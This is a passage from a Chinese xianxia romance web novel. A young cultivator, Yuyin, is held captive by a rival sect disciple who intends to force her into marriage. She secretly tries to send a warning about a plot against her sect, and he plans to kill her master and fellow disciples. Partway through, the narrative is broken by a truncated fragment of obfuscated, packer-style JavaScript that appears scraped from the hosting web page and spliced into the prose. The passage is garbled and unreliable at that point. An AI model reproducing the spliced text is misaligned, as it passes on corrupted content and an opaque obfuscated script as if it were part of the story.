玉茵叹了一口气,也不想和他说话了,自己现在要好好休息,等自己的灵力恢复了,一定要暴揍这个鹤怀真一顿。 但玉茵也不敢轻易闭上眼睛休息,她怕自己一闭眼,对面这个禽兽会有所行动。 她就这样带着戒备的眼神,双手放在自己胸前,像一只受伤的小兽。 鹤怀真也不嫌累,又换了一只胳膊撑着脑袋,继续盯着玉茵看。 “你觉得我长得怎么样?比起你那个叫明舟的师弟怎么样?” “哼,我师弟比你长得英俊多了,你再努力一百年都比不上他,那日比试,要不是你耍赖,赢的就是我师弟了。” 鹤怀真嘴角向上扬了一下,“玉茵,你怎么不识好歹呢?要不是我替你挡下了明舟,你能夺得了这宗门大比的第一吗?” “我才不稀罕呢!” 屋子里刚刚点起的烛火随着风忽闪了一下,烛火晃动起来,伴随鹤怀真的声音,犹如鬼魅。 “玉茵,你扪心自问,你当真不想成为宗门大比的第一吗?你真的甘心一直被你的师弟师妹压一头吗?我听说他们两个才刚来不久吧?” 鹤怀真没有停歇,一句接着一句,“你在你师父名下多年,还不如刚进门的闻絮厉害,他真的是真心教你吗?” 玉茵之前还一直不想直视鹤怀真,但听到这些挑拨离间的话语,还是忍不了了。 她耐着性子听鹤怀真说完,“你说完了吗?” 她看着男人琥珀色的瞳孔,那么纯净但是又那么邪恶。 “第一,你说得没错,我确实是想成为宗门大比的魁首,也确实开心,但绝对不是用你这种卑鄙的手段,我玉茵不屑。” “第二,我确实不如我师妹厉害,我天赋就放在那里了,我的师父尽心尽力对我,你没有资格说他。” 鹤怀真倒是也不意外,如果玉茵能被自己的三两句话就挑拨,那这个女人也什么值得自己喜欢的。 他就是喜欢玉茵身上这股子劲儿,明明是可爱防的脸蛋,做出来的事情却是一点都不同。 “好吧,就知道你没那么容易被说服,但现在,你人在我手里,我给你两个选择,一,你嫁给我,做我鹤怀真的妻子,到时候即使天照宗大祸来临,有我的庇护,你性命无忧。第二,你不同意嫁给我,我强迫你,但你还是要嫁给我。” 玉茵一下子站起来,“你这个疯子,你在说什么?” 鹤怀真也站起来,眼神冰冷,“如今我也不怕告诉你实话,闻絮上次和揽月瑶那一架,彻底惹怒了揽掌门,月灵宗是不会吃这个亏的。闻絮又是被从玉清山赶出来的,新任掌门是她曾经的师姐,据说两人也是积怨已久了。至于我们无极宗,倒是和天照宗无冤无仇,也没什么交情,但是天照宗坐拥天下第一宗已经多年了,也是时候该换换主人了。” 玉茵一时间被鹤怀真的话惊到无语,“你在说什么?你们要对天照宗做什么?” 鹤怀真拿出手帕,擦了擦玉茵遗留在嘴角的汁水,“那就不用你管了,你只需要知道,你若嫁与我,从此就是无极宗门下弟子,我师父自然不会为难你,其他宗门的弟子自然也不敢为难你。玉茵,为了你,我可是费尽了心思。” 玉茵拍开鹤怀真的手,“你这个疯子,你们一群人都是疯子!” 鹤怀真的手上出现一个大大的红印,玉茵刚刚使的力气不小。 “我是不会嫁给你的,做你的春秋大梦去吧!” “这就由不得你了,三日后你我二人就在此地成婚,我师父不同意我娶你,我也只能出此下策。” 鹤怀真走到门口,冷冷地留下一句话,“我要是你,我就会选择留下来好好休息,这房子周围有我的阵法,你走不出去的,还有,也不要妄想你的师弟师妹来救你了,他们被各大宗门追杀还能有命活下来,那也算有几分本事了。” 说完,鹤怀真大步踏出房门,只留下一个高贵的背影。 玉茵想要追着出去,但门死死闭着,她现在失去了灵力,连这扇门都打不开。 玉茵瞬间就慌了,各大宗门若是围剿天照宗,必须要把消息传出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹤怀真带了两碗米粥回来,玉茵在拿着勺子喝一碗,鹤怀真带了些恶趣味,从玉茵手里夺过碗,自顾自拿着玉茵用过的勺子喝了一口。 索然无味。 明明在她手里看起来那么香,像是珍馐美味,在自己手里,不过也只是俗物一碗。 玉茵也没搭理他,毕竟是疯子嘛,做出什么事情来都有可能。 她拿过另一碗,喝了几口,吃得差不多了她下定决心开口。 “你不是要和我成婚吗?那婚服呢,你连这个也要省吗?” “哦?”鹤怀真玩味地看了玉茵一眼,“这么快就想开了?” 玉茵摆出一个标准的假笑,“你长得如此英俊,新喜欢你也不奇怪吧?” 鹤怀真早已看穿她的伪装,伸手捏了捏玉茵的脸,“放松点。” 玉茵脸上的肌肉在鹤怀真触碰到她的那一刻就开始僵硬,她努力想放松,效果反而更糟,笑得比哭还难看。 又听到鹤怀真提醒她,“放松点吧,你真不会说谎,一会儿牙都要咬碎了。” 玉茵叹了一口气,“你带我出去逛逛,你不能一直把我囚禁在这个屋子里。” “可以。”鹤怀真这次很快就点了头,“我觉得你说得对,婚服还是要有的,别的都可以省,这个可不行,我不能让你当最丑的新娘。” 玉茵在心里默默翻了一个白眼。 你才是最丑的! 44. 我不介意帮你一把 吃完饭,鹤怀真带着玉茵出门了。 玉茵这才看清,两人居然就住在镇上最繁华的地段。 所谓大隐隐于市,鹤怀真带着玉茵,一方面要躲他师父,一方面还要躲着闻絮她们,居然敢明目张胆地就走在大街上。 果然是疯子,他的脑回路不能让人理解。 鹤怀真拉着玉茵的手,虽然只是轻轻勾着,但是依然无法挣脱。 他拉着玉茵随意进了一家香粉铺子,架上摆着各式各样的香粉。 他的手指一一划过面前摆着的盒子,最后停下拿起一盒,打开盖子一闻,是淡淡的荔枝香。 “你喜欢这个味道吗?女孩儿都喜欢香粉,你喜欢吗?” 玉茵随意应付了了一句,她正在想办法用仅剩自由的一只手留一点线索。 玉茵没带着太多的东西,只能悄悄摘下自己的一只耳坠。 但由于灵力还是使用受限,她没法在上面留下自己的信息。 就算闻絮能看到,也不一定能认出来这是自己的东西。 鹤怀真看着玉茵的小动作,有些失笑,“你在干什么呢?” 玉茵急忙收起耳坠,藏在手心里,又摆出一个僵硬的笑容,“没干什么啊,你选的这个香粉我挺喜欢的,就这个吧。” 鹤怀真的手摩挲了一下玉茵的手指,玉茵忍不住颤抖了一下。 他的气息喷在玉茵的脖颈上,玉茵感觉到自己脖子上的皮肤起了一圈细细小小的疙瘩。 他本来就和玉茵挨得近,这下两人挨得更近了,他身上的气息扑面而来,让玉茵觉得压迫感十足。 明明是玉面桃花脸,却让人生不出一丝旖旎的心思来。 玉茵心虚地把手背在身后,鹤怀真精准地锁定了她的手,一把伸到她背后。 玉茵的手纂得紧紧的,鹤怀真将她的手拉到身前来,一根一根掰开她的手指。 “不过是个耳坠,这么紧张做什么?” 他的眼神依旧清明,抬手施了一点灵力在翠绿色的耳坠上,将耳坠扔了出去。 “你这么想给你的师妹留一点线索,那我可以帮你一把。” 鹤怀真拿起那盒荔枝香,又让老板包起来其余的几盒,作为新婚的礼物带走。 “接下来就是做婚服了,现在才开始量体裁衣肯定是来不及了,就买点成衣吧,先委屈一下,等来日我再给你补办一个好了。” 玉茵没说话。 “不说话就是同意了,那家店不错,就它了。” 鹤怀真指着斜对面的一家店,拉着玉茵进去。 掌柜看出二人之间的气氛古怪,一时之间不敢上前询问。 直到鹤怀真扫视了一圈,相中了一件红色婚服,上面绣有金色仙鹤,遗世独立,姿态清绝,仿佛就要破衣而去。 他的目光紧紧盯着那件衣服,掌柜看到了商机,也急忙凑上来,“公子可是喜欢这件婚服?这是昨日才来的新衣,还未曾有人试过,您要不要试一试?” “我就不用试了,这件就很好。” 说着鹤怀真挪开步子,露出身后的玉茵,“让这位姑娘好好挑一挑。” 鹤怀真挑了挑眉,示意玉茵上前选。 玉茵这次反而认真了起来,一件一件在翻看着。 “这件颜色不错,我很喜欢。” “这件也不错,我很喜欢凤凰花的图案。” “这件摸起来舒服,应该穿起来不错。” 玉茵一口气选了很多件,她问鹤怀真,“你的钱够我买几件?” “只要你想要,我可以都买回去。” “装货。” 玉茵悄悄嘟囔了一句,又挺起腰杆来,“我要把这些都试一试,你在外面等我。” “好。” 掌柜搬来了凳子,为鹤怀真上了茶,让他在更衣房外等候。 玉茵先拿着一件衣服进去,特意叮嘱道,“你不许进来,你敢进来我就挖了你的眼睛。” 鹤怀真吹了吹眼前的茶水,茶水冒着热气袅袅而上,倒衬得他似仙人下凡。 “放心,我还没有色迷心窍到这种地步,等成婚后有的是机会,我不急。” 玉茵拿着自己刻意挑大的婚服进去,很快就换好了。 出来的时候略显滑稽,肩膀那处的衣料过于宽大,一直在往下滑落,她只能抓住一边的袖子维持。 “这件好是好,就是有点大了。” 她又让女侍进来,“你进来帮我一起穿,我自己一个人穿容易勾到头发。” 一进来玉茵就握紧了女侍的手,在她的掌心上写了两个字——救我。 女侍年纪小,还在回味手心的两个字是什么,看着玉茵急切的表情,她深吸了一口气,点了点头。 她先帮玉茵换了一身新的嫁衣,然后配合着玉茵答话。 玉茵刻意提高了声音,“你们这里的衣服都不合我的尺寸,你去拿纸笔来,我写下我的尺寸,你再去找一些合适的衣服来。” “是,姑娘。” 女侍拿了纸笔进去,玉茵简单说明了几句,说明了天照宗的危险境遇,又写明了自己的位置。 她将纸条折成小片,放到女侍手中,摘下自己手上的一只玉镯,放在女侍手里,用口型说了“桃花村”三个字。 看到女侍明白了她的意思,玉茵悬着的心终于沉了下去。 她又在纸上写了自己的身材尺寸,以防鹤怀真查看。 “看到了吧,就是这个尺寸,你去按这个尺寸再给我找些嫁衣来。” 玉茵当着鹤怀真的面将写着尺寸的纸递给了掌柜,掌柜立马就带着人到库房去找嫁衣。 鹤怀真看了看玉茵身上穿着的嫁衣,“没想到你穿红色这么好看,日后我们成婚了,你也要多穿些红色才好。” “你倒是想得远。” 鹤怀真点了点头,“是啊,我还想将来若是我们有了孩子,生个女孩儿也要像你才好,单纯可爱。” 听着鹤怀真的话越来无厘头,玉茵索性坐下喝茶,不理会他的话。 等到掌柜拿了新的嫁衣来,玉茵才又假模假样地进去试衣服。 女侍正要进去帮忙,但鹤怀真站在她面前一直没走,她低着头不敢看鹤怀真,“麻烦公子让一下,我去服侍姑娘试衣服。” 鹤怀真脚步挪了一下,但没有完全挪开,他盯着女侍的头顶,“不用你了。” 女侍有些慌张地抬头,鹤怀真又弯下腰,正好平齐女侍的眼睛。 “果然,眼睛是不会撒谎的。” 他轻车熟路从女侍袖子里掏出字条,改动了几个字,又放了回去。 这一切都发生地无知无觉,女侍顾着慌张,完全没有发现自己身上的纸条已经被改动了。 “公子这是什么意思?” “我的意思是你不用进去了,我来帮我的未婚妻服侍穿衣就好。” 女侍依旧低着头,像一个鹌鹑一样,站在了一边。 更衣房里,玉茵久等女侍一直没进来,还有些疑惑。 不知她是做什么去了,怎么还没进来,不是被鹤怀真发现了 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她向后退了几步,“你不许过来啊,这可是在外面呢,你再怎么乱来也得要脸吧,小心败坏你们无极宗的脸面。” “哦?玉茵你这是关心我吗?” 这个人,到这个时候了,还在扯这些有的没的。 “随你怎么想吧。” “多谢娘子关心。” 鹤怀真脚步没停,一脚踢过去关了更衣房的门,慢慢朝玉茵走来。 玉茵退无可退,被逼在了墙角。 鹤怀真的手顺着衣物抚在了玉茵的腰上,然后一用力,两人之间的距离近得不过毫厘。 鹤怀真偏头,嘴唇眼看要落在玉茵的薄唇之上,玉茵迅速偏头躲开,没有让他得逞。 鹤怀真也不恼,看着玉茵紧张的样子,又一下子放开了手,“看把你吓得,我在你眼里就这么不堪吗?” 他语气满是揶揄,但眼神里还有止不住的失落。 他走到门前,回头看了玉茵一眼,“你放心,在你我二人成婚之前,我是不会动你的。” 门关上了,玉茵也跟着叹息了一口气。 刚刚自己没有看错,他那个失落的眼神是怎么回事? 门外鹤怀真听着里面窸窸窣窣的穿衣声,忽然感觉很安心。 同时他也有些奇怪,自己刚刚心口那种堵塞的感觉,有些酸胀,还有些失落,这是怎么回事? 自己分明只是利用这个女人,他承认,玉茵是有些吸引他的地方,但自己怎么会有一种失控的感觉。 这种感觉很不好,让他有一种无法把控的心慌。 他平生最讨厌无法掌控的感觉。 他想,自己就是真的爱上玉茵,那也是可以的。 很快就好了。 等他召集好无极宗弟子,围剿闻絮和明舟三人,再杀了天照宗的景原。 在他眼里,景原这个师父不称职,玉茵拜入门下多年,还不如闻絮一个新进门的弟子,定然是他不够尽心尽力,该杀。 闻絮,就凭她一人,夺走了玉茵大部分的时间和精力,该杀。 至于那个明舟,在玉茵的眼里她比自己英俊,也没关系,杀了就好了,这样她的眼里就只有自己了。 鹤怀真想了半天,又释然地笑了,一切都尽在他掌握之中,还有什么是不满意的。